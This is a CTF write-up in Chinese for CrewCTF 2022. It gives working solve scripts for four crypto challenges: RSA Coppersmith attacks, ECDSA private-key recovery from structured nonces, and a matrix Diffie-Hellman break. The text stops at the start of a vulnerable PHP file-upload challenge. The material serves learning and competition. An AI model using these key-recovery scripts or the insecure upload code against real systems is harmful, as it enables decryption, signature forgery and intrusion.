CrewCTF 2022 WriteUps

這次 XxTSJxX 拿下了第一名,我解了除了 Forensics 以外各類的一些題目,紀錄一下我的解法。

crypto

*The D

這題比較特別,因為在我解掉之後被 rbtree 抓包這題是抄襲 pbctf 2020 的 Special gift 的,詳情可以看 About one challenge in CrewCTF

不過還是丟個我解這題的腳本在這邊,方法大概是某個類似 Boneh-Durfee 的技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *

n = 108632663721119265653629732004609859912298449722633799380285883216648160372857601675801760067880978603917847166703692881045035049896529437951217729992932290717211826160576978461392959086020394468359011218552688774321371304568720044645937228650936226679777817165681833656879074060600223318274941034682744658669
e = 14345844425098016213772256482412079289738393745812073498070209808609907033131393382491530045098843233130881036367887366122371869140643548114038280798707335512800598771342888649856115041456779942132451953091263382954458865505900604068867390149259907682124384405206933288176074626319327127085393581350114292491
the_d = 352073377710397761326601223497407217398962745361852626950893310432240855120282253164273
enc = 3809030071658869024019958989413816190555340165190309349307102024078006074888098309799897882917168240924288075419204826634001055954925033995420530107957711139551352690895168173180794129426016555460621859927958574473508871402627777469014569797460317116847974290121701679302684325635172184673761623938649140825


k_ap = (e * the_d * 2 ^ 120) // n
d_ap = the_d * 2 ^ 120
P.<x,y> = Zmod(e)[]
f = 1 + 2 * (k_ap + x) * ((n + 1) // 2 - y)
load("coppersmith.sage")
x, y = small_roots(f, (2 ^ 116, 2 ^ 513), d=3, m=4)[0]

# x = k - k_ap
# y = (p+q)//2

P.<x> = ZZ[]
f = x ^ 2 - (2 * ZZ(y)) * x + n
p = f.roots()[0][0]
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(enc, d, n)
print(long_to_bytes(m))
# crew{m1rr0r_m!rrOR_0n_+h3_w4LL_wh0_h4z_t3h_b1gg35+_D_0f_th3m_all??}

delta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import bytes_to_long, getRandomNBitInteger
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from flag import FLAG

key = RSA.generate(1024)
p = key.p
q = key.q
n = key.n
if p > q:
p, q = q, p

e = key.e
cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256)
c = bytes_to_long(cipher.encrypt(FLAG))

delta = getRandomNBitInteger(64)
x = p**2 + 1337*p + delta

val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n

print('n=' + str(n))
print('e=' + str(e))
print('c=' + str(c))
print('val=' + str(val))

可以看出 val 的多項式在 的情況下有個很小的根 ,所以用 coppersmith 找出來之後代回 gcd 求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256

n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663
e = 65537
c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100
val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585

P = PolynomialRing(Zmod(n), "x")
x = P.gen()
f = (
pow(2, e, n) * (x**3) + pow(3, e, n) * (x**2) + pow(5, e, n) * x + pow(7, e, n)
) - val
delta = f.monic().small_roots(X=2 ^ 64, beta=0.48, epsilon=0.02)[0]
print(delta)

p = ZZ(gcd(f.change_ring(ZZ)(delta), n))
print(p)
q = n // p
d = inverse_mod(e, (p - 1) * (q - 1))
key = RSA.construct([int(n), int(e), int(d)])
cipher = PKCS1_OAEP.new(key=key, hashAlgo=SHA256)
print(cipher.decrypt(long_to_bytes(c)))

# crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}

signsystem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import sys
import random
from hashlib import sha256
from Crypto.Util.number import inverse
import ecdsa

from secret import FLAG

curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)

class SignSystem:
def __init__(self):
self.key = ecdsa.SigningKey.generate(curve=curve)
self.nonce = [random.randint(1, n-1) for _ in range(112)]

def sign(self, msg):
e = int.from_bytes(sha256(msg).digest(), 'big') % n
h = bin(e)[2:].zfill(112)
k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n
r = int((k * G).x()) % n
s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n
return (int(r), int(s))

def verify(self, msg, sig):
(r, s) = sig
e = int.from_bytes(sha256(msg).digest(), 'big')
if s == 0:
return False
w = inverse(s, n)
u1 = e*w % n
u2 = r*w % n
x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n
return (r % n) == x1

if __name__ == '__main__':
HDR = 'Welcome to sign system.'
print(HDR)
MENU = "1:sign\n2:verify\n3:getflag\n"
S = SignSystem()
try:
while(True):
print('')
print(MENU)
i = int(input('>> '))
if i == 1:
msghex = input('msg(hex): ')
sig = S.sign(bytes.fromhex(msghex))
print(f'signature: ({hex(sig[0])}, {hex(sig[1])})')
elif i == 2:
msghex = input('msg(hex): ')
sig0hex = input('sig[0](hex): ')
sig1hex = input('sig[1](hex): ')
result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16)))
if result:
print('Verification success.')
else:
print('Verification failed.')
elif i == 3:
target = random.randint(2**511, 2**512-1)
print(f'target: {hex(target)}')
sig0hex = input('sig[0](hex): ')
sig1hex = input('sig[1](hex): ')
result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16)))
if result:
print('OK, give you a flag.')
print(FLAG.decode())
break
else:
print('NG.')
break
except KeyboardInterrupt:
print('bye')
sys.exit(0)
except:
print('error occured')
sys.exit(-1)

這題的 ECDSA 在 signing 使用的 是根據 hash 的 bits 選擇 nonce 的某個子集加總得到的,其中 nonce 完全未知。

解法是把 nonce 都設為未知數,然後蒐集 113 個 signatures 後會得到 113 條等式。因為未知數一共也才 113 個,解 linear system 即可得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import ast
from hashlib import sha256
import ecdsa
import os
from tqdm import tqdm

curve = ecdsa.curves.SECP112r1
p = int(curve.curve.p())
G = curve.generator
n = int(curve.order)

# io = process(["python", "server.py"])
io = remote("signsystem.crewctf-2022.crewc.tf", 1337)


def H(msg: bytes) -> int:
return int.from_bytes(sha256(msg).digest(), "big") % n


def sign(msg: bytes):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"msg(hex):", msg.hex().encode())
io.recvuntil(b"signature: ")
return H(msg), *ast.literal_eval(io.recvlineS())


sigs = [sign(os.urandom(8)) for _ in tqdm(range(113))]

P = PolynomialRing(Zmod(n), "x", 1 + 112)
d, *nonce = P.gens()
polys = []
for h, r, s in sigs:
k = sum([nonce[i] * ((h >> i) & 1) for i in range(112)])
polys.append((s * k) - (h + r * d))
M, v = Sequence(polys).coefficient_matrix()
print(vector(v))
A = M[:, :-1]
B = -M[:, -1]
sol = A.solve_right(B)
d = ZZ(sol.list()[0])
print(f"{d = }")

io.sendlineafter(b">> ", b"3")
io.recvuntil(b"target: 0x")
target = bytes.fromhex(io.recvlineS())
k = int(48763)
r = int((k * G).x()) % n
s = inverse_mod(k, n) * (H(target) + r * d) % n
io.sendlineafter(b"sig[0](hex): ", hex(r).encode())
io.sendlineafter(b"sig[1](hex): ", hex(s).encode())
io.interactive()
# crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}

matdlp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
FLAG = open('flag.txt', 'r').read().encode()

p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6

import random
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding

K = GF(p)
matspace = MatrixSpace(K, m)

while(True):
U = matspace.random_element()
if U.determinant() != 0:
break

print('U={}'.format(U.list()))

while(True):
l1, l2, l3 = K.random_element(), K.random_element(), K.random_element()
X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3])
if U*X != X*U:
break

print('X={}'.format(X.list()))

def genkey():
t = random.randint(1, p-1)
s = random.randint(1, p-1)
Us = U**s
privkey = (t, s)
pubkey = Us * (X**t) * Us.inverse()
return (privkey, pubkey)

alicekey = genkey()
bobkey = genkey()

print('alice_pubkey={}'.format(alicekey[1].list()))
print('bob_pubkey={}'.format(bobkey[1].list()))

alice_Us = (U**alicekey[0][1])
bob_Us = (U**bobkey[0][1])
sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse()
sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse()

assert sharedkey_a == sharedkey_b

aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()

cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
ciphertext = cipher.encrypt(Padding.pad(FLAG, 16))
print('ciphertext=0x{}'.format(ciphertext.hex()))

這題是某個使用矩陣的 diffie hellman,公開的參數有一個質數 ,一個 jordan form 的矩陣 和可逆矩陣 ,大小都是

private key 是兩個數 ,public key 是 。拿到對方的 public key 之後計算 得到 shared secret。

之後可知 shared secret 為

我的作法是先得到 的 jordan form,拿對角線的三個數和 算 dlp,之後 crt 就能得到對應的 了。因為 非常的 smooth 所以 dlp 不是問題。

之後的問題就變成在 已知的情況下求 。這方面我有試過把 設為一個 36 個未知數的矩陣下去解,結果得到的解集 (kernel) 的 rank 是 6,代表 是 6 個已知矩陣的線性組合。

這代表設為 36 個未知數的情況下沒有足夠的資訊可以找到唯一的解,所以需要把 的次方的這個資訊加入才行。我是先把 弄到 extension field () 後將它對角化為 ,所以

顯然 還是個對角矩陣,所以將它設為一個只有 6 個未知數的矩陣,代回原本的 ,可以得到 。這次的解集 (kernel) rank 只有 1,代表得到的解的任意倍數都符合 的性質,也就是說得到了 ,其中 是個未知的 scalar。

我不知道怎麼求出 ,但是可以發現 在求 shared secret 的時候會消掉,所以直接把它當作 拿去算 shared secret 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7
m = 6
K = GF(p)

U=[121724107196232336447770662565376553386975716142815255444385680256593847147303127362594142230997680664326238021655319449918322123988355830111390038828246287143134913550681374059541524579999838, 453820185074697541771109032076990418248731462070026761466713681038059403482651571417749908181364983036982465189585414975479297943661360528381140258890162036363215969848999742697434996892144894, 888904521222411682518437837602316621715283540561332742372056990585048760725085020955088786187296233120874490517497227239869864556565393376403031696414704990296976748050488245770731810961156131, 581881774786398049542143884451759033059220845104227715190060037724183423189698262173579713428600925334799120172287204029059732017918777467539551554702868497117571458663292856770301084729223325, 213399099561553968452227447825701145406606678556374356375834510855322811333965353305947324180837526052434539008542430368726969934526180340899262134424560771150219835292210510077659096032361081, 726306957674098973463669449205280632112952697976165388994578978291000322901971915598478394462547473777213968167488256107129207842112295396086336618124560346370188021589692540663118227451140883, 1011678721518897027916325157951798404294577332528705745751557767967602388752749347813272248499255443831128050483714638548577765950907924791876961624026666242141507553205161620280559190054619446, 958502794192732432000715476302401201686205485088380833667717911798006977356576442649145663197844832203745846820870677189003262489074035145704110745845363257060461795067753533459777604895526771, 202850224483611491833546926727301549856188494302469685020714728115654157301838398320445969911225752903551946807011915228467514693529635060805610255204023393803621621954936785301836655220606754, 63000402202674470987549893095919291026024000725135922571038548319630608944734902913849060426084137627585068964612983217926039074199390984708182879168515923465704222063892030792245169878219213, 181813676663842900455545303360494577200828970797295532767312318233494361815625765041389512163224957562573048502520822896299427691397598207208851236914763365100008678170296606446808877955182632, 53515837453548494633008898328313765824225860239511383688931545859755879843109634398844251440383948646654086684202702948885879333907704576591121640733270291435357323508643032759177050178990455, 70106480932202400998831076572153951759364884899608048996012038289336698559579874378171904529515810278459571707920273902846450574701179594463861651829316591442362386285003521924437486981838532, 170088330705416142972746337585478705831915389863713053372961052721581832083687860612080341613627062523289675322160425656682390611375852481338325515100183451324396587412192077475627991470426626, 756513977491511882613038145620083132033888579685348385225736772268504466623300811590446914491712855660237802682398674613618962244444990513435840543226833431113317723219994695178693097656331762, 79309604212300863933326103255412643679841631246441241070006196328008920817814318035543589782744257694010769783616430610729371220676935088568969029322080512153562308924991225726432666062506837, 800411451665787408168921195669805169317618739979288794439831214731033267744049419706279590600114021600443241290356054265242441158029625934178919619025922078283724354359744346634834521422652790, 68925524430148038499298305540358899745485001433103578815649870647727336327381059785357779100145731284536918191792144429773805665781423949865756776476078664828057890702460899933562999507117566, 423944912189867454773980956382377827510710004819321547315262213152113092794138035924283232825443217739206507233574946279468890045557501425186379484465971116424817534331795589649938554736793697, 882642395539262497133804146777651159571539132312129336500992046523880743705704453319893868634750960423490562526270041903363902250954426518700738315675416961432212294455999213649344048459916253, 323181802594209439216331775558169563133670139078841935071683414779010737497882675663332965989326479440659535217595086730568131232843922026684864378425693847267174270073636007862649084328111268, 458356109085804465405942596585709818955850868083307853697317448961172176537706300187797127840945087719636258692202422824933697934150186296045468854411806733048797056896305654553268106018202559, 223649238938156749401277927132167118809304798451412064366101967396358946794200560305024056489148556346779875840226129939246373933199713930183240649517127517281530629644577304132580006550910605, 583965530461728346789635651039529729887362732365376358644866050762739056643815594718257394164991737258447570131667164982385693894701496949745408365077077143067374451671492964274340903425215895, 520566001278896523460810243756437140413238934122707181614114009624975786560294599194852975698432954275782537087035701308871804804537429339854307077193606711935824463476864407847641181942068455, 946292049073029318579306088806120099328267016808936713558706257243459052837191491405805465123689753683449191142788686869351808940915449406558113453359511648847167202136920936112323057239994849, 349736259232784563576099161746209356629561284586851817086226960125523290677147656251159732668923022797475132247699327927531391868438109442908467828363991237429665043796976586673039506882141904, 376703737655898963433671842299921316908545431947318742754606781086568310028659564221154597057244680647246317396251058362889477803761906769212712142613046234751643518697325757010187742568976669, 1000112119924251383262406754660395500244680587607257414655371359128149397094755520380800047648173757304169955134378756353234439660977685507764514505147838549303215448074431573924749068204214005, 47443642170077728658524808077041962414489371813521012107728493269938273865645755747684722876057214089480043764555388931531278374258146496230188976333730017510702427648745767842812050214779043, 716730328742123451467343434593681648928819098014914336483166928254027413751634733072283796353092986459907208109681012201636040551763005175188873835035801011983586415516210230827019039664595609, 825629145023277979908958075151347302439201227687495351242822215169551689968057664403186945204153448736324235401010988497720253973172485809878422110800752121060572509339575328018959130318486316, 102535126036399211828881619646111690806915690449179767858859181652752224273710740536886016424349959772553914543577824953847595240092453767682143276691782635034634902150391602746595422785008268, 847829669660384127581454815979030363580925786391821448891887722907586804075418223081029167640127709671370243523791937476271586223269569973355422966706841135646427040933362228758535933468395777, 254259834377198288206175730333116144470039623658117041745258470972460597809601382745360471288105559978148663727962493802497861904710332228009229845634173633686283092826674003605716537139045279, 376861205958054807825124012151969896769285931543165306391438228569627019865115643597365811558410195042463562944269300285787723301749340886920964172257522530856056802857431495270079792700006085]
X=[971233134119380668117642228627125000141880853312269304417699370366356828749365272615070155481032497153313240777405418715764975535866976881693473914578937918561449584827101559131791816846420556, 0, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 1, 0, 0, 0, 0, 0, 176850517348883146062510965792204332402555381562206446888286625506014335791686043989507063454021896202849205821950533791917187219114458250625891903380739973033589178804432928009967501275159063, 0, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592, 1, 0, 0, 0, 0, 0, 76506131121470526540170037024966099654652441221667337920182229889127842268167270560105487957022706853622189327408375018366249127289191440732341585908972949796188159969858740642795776172784592]
U = matrix(K, m, m, U)
X = matrix(K, m, m, X)
l1 = X[0,0]
l2 = X[1,1]
l3 = X[3,3]

alice_pubkey=matrix(K,m,m,[200606741107179908813109308307903027642015584334534675621103691598046477496102523962919739840494631214139325219924232633207191553518805768081115927074081516559273961308772920649781460741985850, 613152476482993344271895723294119271689458072462742936498516661436126878254341464571961484304258329485516675532778884296259277459630059640026099155797702769615689607509261878097313238125476869, 664083131880629766237676403611179702537957408838255540094022461941946041162837732476733228652786609112430083752533742733898718050740269852914111982055226281378882104363778662471198767543674822, 911672981279979394315104825702604584402495780138915161460385721860649308041622810895132554286366031530157612026462051807991995584077627729733576583092446582813844797721213161204116012173802573, 532296855529988191510673720113075974404501369885980162173704285470019980909731877123525593863718952575924362289016065932619201127011092384312056119046429074307416204240389178918467236874480713, 1014842110872374237954469031334444239944511110307499328674896800956603272623154779618166207235380701234835778116744717100631384230959813424961406540755244595813762093671150007424908528725671958, 72503724407460475618607947834087162593211584599996312900637523685303769502507367090710125467203952887150311936077049536900135301030517512101882869105809064890404099645438063838061458881164797, 792913485627878043904340917071621857266675615512801317169514614546202704893946606397544984334447977692164481393803609264619098954002133134202265965338032231325825524907326705840679147665317063, 995860818985258557438662336868447205614120037730925187356345130650312363519071859106043391745598331835567285458193796418012491113461880880982765644530555862733132710331515575702399672592055833, 535806093627503344398254103836185496167642375084022958435228515642916864872287617173504253294104566939735040198324107646418320299149633117005357816766118527366971854511601556048447365376725099, 387204198254279138789443838388854787287733836239897004992549357817763421640725088628391111290995878575460993682239123929165478253216361375715050768036758198921692021096735800914565556151711442, 759034791011613265312249784860213294611386620473440966777942688249850970028201605614591614703862377482798773992973015364965727536345568599926784182686694311152108638075312210857385989950411810, 814906225993371197749063210340536689598571944602922747533205322211894810320123294059634166491837367205929689645485887985823427134624223590301195665483499207334885970704220127939744929410996981, 183286026963471496828768457904467143520627087747864177941440554330014158826330894951535261431342910998818716852339746917513263835288633849420491839543107685933085838804460884179113636695418391, 91135122102770188861843156771364386778428216095340402294508837326048125552487746901643776157184670829767045880998280425122922016900485728418168440954572342837216886912075563904379838849040705, 205506819274826398144907975717140748625091196209717618618394696157605445719833887622969824038240208865655464735047308518569957281501396270721128886143088612856000800703944539777753976231817791, 474754470334877353131454603477118793020586947286558065774200286173069000485566738894197496365688773025126666042856799559621291273164467430179715768133065398535249913515949196020195470892760010, 200186313538816799446196757571377626797541628323445214761818174579079591443212028718049532885287867156713130941486997346816358224663585803282703030855374534247784363551566132781195666341121262, 635401219828031646162366028397393439928704203551921481773789805483732424338897394292222899290616464395180472449361184422014544826096882453670494494667006295553688418919304223471920602156302360, 102670425834397096497619545204285505952924591394789567689172769250962069751871949239335769701391192207160944686227254131645924091380733851172372308121872042062773430856147936282104711649899299, 404351493335630572754635052272877275408260097467816483476594335833334232932916655360699738469001954853743073324077976660400316826251281885390619198007147019747509099734857832505056322515897679, 271424790231306178301568048188425725775773407647874821987469310448113853248849889519276779237812057338836551367193842426217063405140115120935725111293627978088233967113409400962846760694437098, 59929452409857052720430069969144223646194343635736099178293921499044043353449295156521696984199550990237538830958506755933539520942839395576594666901799091187324941220784219530302764121776477, 651580445753023646492042335061114112478832940852813964765760889616361976629528086378344617333005480106882807804881034712583082005353029214416790422542732086259581353271162645288445802595223547, 782069435050849892658208596603123354524719216798947089949726788529355137271169967058573190418197754912542511220892693956880099811336142919836479983089715281869025948238556155580767339884345709, 66878572824817255698821995114725522489936570688501921852680852570766753790568654464451658286452198163468486751486853228336835250167537616349533509183803501994719404582718088100308523540429163, 905102664409821975417035861525193582228284542902777064449436282326464445443983696272595305179070626061735776394097034411184432745044181538775415592210502209491754582097216911122664540679333334, 1019230724675549714957339947239658157588848299957574308859250444624206484622482817882594733993740429713313399356956883850635112612812283677632934972386998470049562391295134299366044853378507082, 940438300888830257680439152546738668870565967995507161826803630246742570277990704830103717765127301027274801706507254927269931973690130475666160323527563196939735758029253821976299112530903491, 398951613426463844938936679548263076288341006257355437922536322282822856268616355401629458376269297053988391665881615862277887334445730884413961261589404311339485126178711529151560604005413215, 117460064360390011101383842885971347243365461033773729877452021939612168836443898915824439477724501162974250540116687042366101254828286429362184165918329879048073913642554108300729698762343972, 744266171315040717186039984293338116914580346265712989686193138419111521590842986862030011454243533473084340839650845638522294437571033752414607871153151077823392233346760107174590711690631970, 234625223203069305143684842212572136949416995949391894185129722044018986055632499771691956014592317473284182738151208906323177136060410162078923710339608194485931293215040110329798033942219793, 964408920838027480980374246072025587173794955565313562651810505905473231436475093591098525269082230659744893519391379870170607171762356159031032913730520888757194705745227544719574158919397203, 848363309960509099486614666664441581060155982407074583128361038898025469904560933809482584055420205465729436093595673957961424498487458283881923300300771956224804636929333799925685328404186223, 489088085909372617576368297865501106163058229888238029624732235549291045890721096782012481511434420206850964031806258971654978251532522986224552507629496349553678294088028907695582538966378849])
bob_pubkey=matrix(K,m,m,[480444348859594121393545117827975510702193774717711869938069944371733405361830664450734257752635343183962970334096925174397309641485698386546770316779406798438674428685397649265983136601664292, 446679478184836112752702544123644746242191965483829606047329149908530332400609645555535802997860952519572337078168968756898582841608538321102429370455295700733449739567360963505911361344303011, 73839906473229992828167119669698745006987869354501197347040372212944096744563547076972167018746687676615252779838862963625853620749953708666352605691457380730547484226328084852968526641458080, 789963229614065480220299470764723555701512137658474947583714466802001159623418630380677895208152402597421160393786561830510690162840447550602620692068009163210744664569469249205827739398025627, 140907717449865719853497560794788875243118746275006116438344085203066445275778470823640279965447594069932227296507495202588361212275677637306225832182693406090352410410595626147093217645561111, 774267624911681573242550316593556993794115161529603549043458020834378210445257685499312114978389971008129781014535964644297229254208013518286547166347322981526085635590538190729546600768907586, 945886253717246814575154623773649816236351443620266089294890709461982813971364364171748261295864356062213484769308630587333121001490320154778133341212676933442633799534973823372153714461777847, 56025280923406620325648605240095942945397493613609970129736585386810236475885443627974687608178035481699771922761573851834479528398023985399595198433978641613039688876052103689444907759058570, 762135491932075469298248496268566434040833241564752581811415096228657829294029159563933391337180814756261891503469007927152474929565817717484769723601484695360851064145606660539147300024234377, 456502523650117264270218169018130879058853480415232413747352870478358348337620659215806951327729701648440117533248174064501472560013003969851528084987431320878784209048211503605689160884826913, 618844901463531994991492421473031259677074889967613568620384914779574129784308110910525426968046537642963827091777362390122305724742361179044417682929745824168380717061874390352887759136378866, 893336458248384992635761138151415449625890630637176900851354534023636267446211659339762011618878970296211384501264842269093216885153161226918762741180466653836480283597351116788492855746973166, 149023799308669764045413165576487382053969576875356506521092628522706404065399706479910576681313294954359364152259724599001417167697325971446443736430091488020449726341609923444522024463280659, 260155658330949897944628518772102200175951400758660830449334448377980566796674722849131131309677373194934132811847791443387366925460404608604372030982241061998726032009626508427487467375538747, 118107665769986871450275025092085005903461876628519163232918398394036871456407256730228734665264542517719782826234582187241449219649945020582410785448862366027771671943303552665314844171238623, 949712297021385649564622406365993991750456942208798821756378672905644952722902936748853284394534410029040753708526383078225153362260151561342818345259487508148121928866905298450622927296486049, 572064210342531413502184167321584338198559585599223811264057019852123610291821086972949905557731162823822351333411352745501115329050262179268028854462584988287973639973632893883788711282259523, 583977923753565443458375219828130572131182258739665859839510377143113436115691859383075157667733537089999976632054446765345906056362046548363689859396779228167289681330497820681596570098622300, 1012023582102578281424365435029032391526182689068799278794983069763576470133348581556429914230284998730133594461852895636165155910572637725344378125116561853699173529083365632380777740865891587, 789443489487520603449788572587167106923067865971702795507437517288927194851948210085550275845106176329614578976702384784324482910879667628170786006414429947814788245057291130058625691331514981, 730399214898592801694727631755596727287253603938410351361009089858148160674695179884728934090317753864369202483901467090687570841812090457015632799153087648980570065801919204074948603431366695, 754837460704128062038339712766238879895564974015558179315276051624184718334757738722906947294203207200083071681155204219883596720788395744599634487677843794675149902562423845694341186027236109, 511961350715627289390881813178525320782146173452529627908723389372435660317123281846720188796505787434164348004217512679311110916811853209806027285058658135585725757208703541693776946059871865, 172089604741974434978705116416329535993679177226446696805205631434329889826229297120231259487125883671550050612544805907663057822792289081255193042425809349555656614432076225241368741358867716, 1023954552108114497424604081483879928757419612413018334126698535156128888644301998610104477856452640739605193257100158681113392015498492315443892920323517580088091859782208618345940527621076255, 574501908434034227077503115757154288318756766201780920749180483566005686488249997159821569316283109128162235822276194365911053707840707029115691428811989902716247537928600491619335323110370568, 319739007538475332510322875324653324824194034650500146606187183783865327585862127342744236520547243912682313100479095374238577036992748400371996524997661403938165727313172464670850559522599518, 457923718443554179553481650617993662528390895483302792285941425570220350144037992389001005733691704424984586855458596786922115681384231264481553485892390551584667992875037052252813591202914687, 730382637909680232717102749490870962684186333757423214856460824515119801436363540398880108301970280593075050389012158231640644520245330058439713305221735811517178536314710524037342820920496134, 516296289042481961101106375885627825579482293633184384182947458665105570171208191780105239515341432355000523407313409422002960392364933210938569936156287664402500195348149240115168471641409146, 750415218434645852202735689349488296345303375562618196299132049073518151278829979117342229529531136385867497267094623478112970365406886091143281292327603144076003504608256869715799943766817824, 407064481467197791517954486920634626806312101305511650082428649575398468007545923990646229943425631313889587518999162504809992376546413613085450232154350328056497843058329071160896802437929134, 670491768443294113792978483604494213083720337280110838764513444925588560848203324898783103735733690485350965630135202639416540539563909891549753152402526679203852653129195890099249189709801187, 753278865507828353851232330340001111206712563924261612982073675238753370073907257634364835965139925615023575903821121497309123794722108931879535866667536181216026680059636668598618656004795831, 661321974800454166314540713337512232084440894864985987929921949320215380683712389292829462527171718692691883805970185195989443937470503523787158346077605484366926014104138048002296834402526485, 37242412863363082238131872960392477174383542463610423700904785753002371004680683807463465249301019522838527489830506747726148717514333170872796498357579421581267442623620458076214950688424005])

A=alice_pubkey
B=bob_pubkey
J,P=A.jordan_form(transformation=True)
assert P*J*~P==A

l1o=GF(p)(l1).multiplicative_order()
l2o=GF(p)(l2).multiplicative_order()
l3o=GF(p)(l3).multiplicative_order()
t = crt([J[0,0].log(l1),J[1,1].log(l2),J[3,3].log(l3)],[l1o,l2o,l3o])
print(f'{t = }')

f = U.charpoly()
for g,e in f.factor():
if g.degree() == 1:
continue
assert e == 1
K = GF(p^g.degree(), x, modulus=g)
# K = GF(p^2)
D,P=U.change_ring(K).diagonalization()
PR = PolynomialRing(K, 6, 'ds')
Ds = matrix.diagonal(PR.gens())
lhs = A*P*Ds*~P
rhs = P*Ds*~P*X^t
eqs = []
for i in range(6):
for j in range(6):
eqs.append(lhs[i,j]-rhs[i,j])
M,v=Sequence(eqs).coefficient_matrix()
Dss = matrix.diagonal(M.right_kernel().basis()[0])
Us2=(P*Dss*~P) # some multiple of U^s
shared = Us2*B^t*~Us2

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util import Padding

ciphertext = bytes.fromhex('fb8ce381ac7d8d763c79de601ad91dbec2b9d2b63e3a4013b6164331e892490c676f7644c44ee5b4108e6494f6802171d3b79b3049aed2efdc28a6f8aba2947c')
aeskey = sha256(b''.join([int.to_bytes(int(shared[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest()

cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16)
print(Padding.unpad(cipher.decrypt(ciphertext), 16))

# crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}

另外我還有和 Utaha 討論過,從他那邊知道了另一個有趣的解法可以求出 。前面求出 的做法都差不多,所以要解的問題是

首先將 視為一個線性變換,所以 。因為都是 的矩陣,可以把矩陣 flatten 成一個 維向量,這樣就能找出一個對應 的矩陣

所以問題就化為了 ,而這個形式的問題早有了已知的做法可以處理了。

web

Uploadz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
function create_temp_file($temp,$name){
$file_temp = "storage/app/temp/".$name;
copy($temp,$file_temp);

return $file_temp;
}
function gen_uuid($length=6) {
$keys = array_merge(range('a', 'z'), range('A', 'Z'));
for($i=0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];

}

return $key;
}
